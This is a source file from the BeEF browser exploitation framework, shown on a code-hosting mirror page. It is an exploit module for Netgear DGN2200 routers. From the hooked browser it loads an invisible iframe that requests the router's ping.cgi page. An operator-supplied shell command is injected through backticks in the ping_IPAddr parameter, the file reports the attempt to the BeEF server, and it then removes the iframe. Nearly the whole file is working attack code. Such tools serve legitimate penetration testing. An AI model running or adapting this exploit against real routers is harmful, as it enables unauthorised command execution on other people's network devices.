Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/router/netgear_dgn2200_cmd_exec/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var rhost = '<%= @rhost %>';
10
var cmd = '<%= Base64.strict_encode64(@cmd) %>';
11
var timeout = 15;
12
13
var netgear_dgn2200_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
14
15
netgear_dgn2200_iframe_<%= @command_id %>.setAttribute('src',"http://" + rhost + "/ping.cgi?IPAddr1=8&IPAddr2=8&IPAddr3=8&IPAddr4=8&ping=Ping&ess_=" + Math.random().toString(36).substring(2,10) + "&ping_IPAddr=`" + beef.encode.base64.decode(cmd) + "`");
16
17
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
18
19
20
cleanup = function() {
21
document.body.removeChild(netgear_dgn2200_iframe_<%= @command_id %>);
22
}
23
setTimeout("cleanup()", timeout*1000);
24
25
});
26
27
28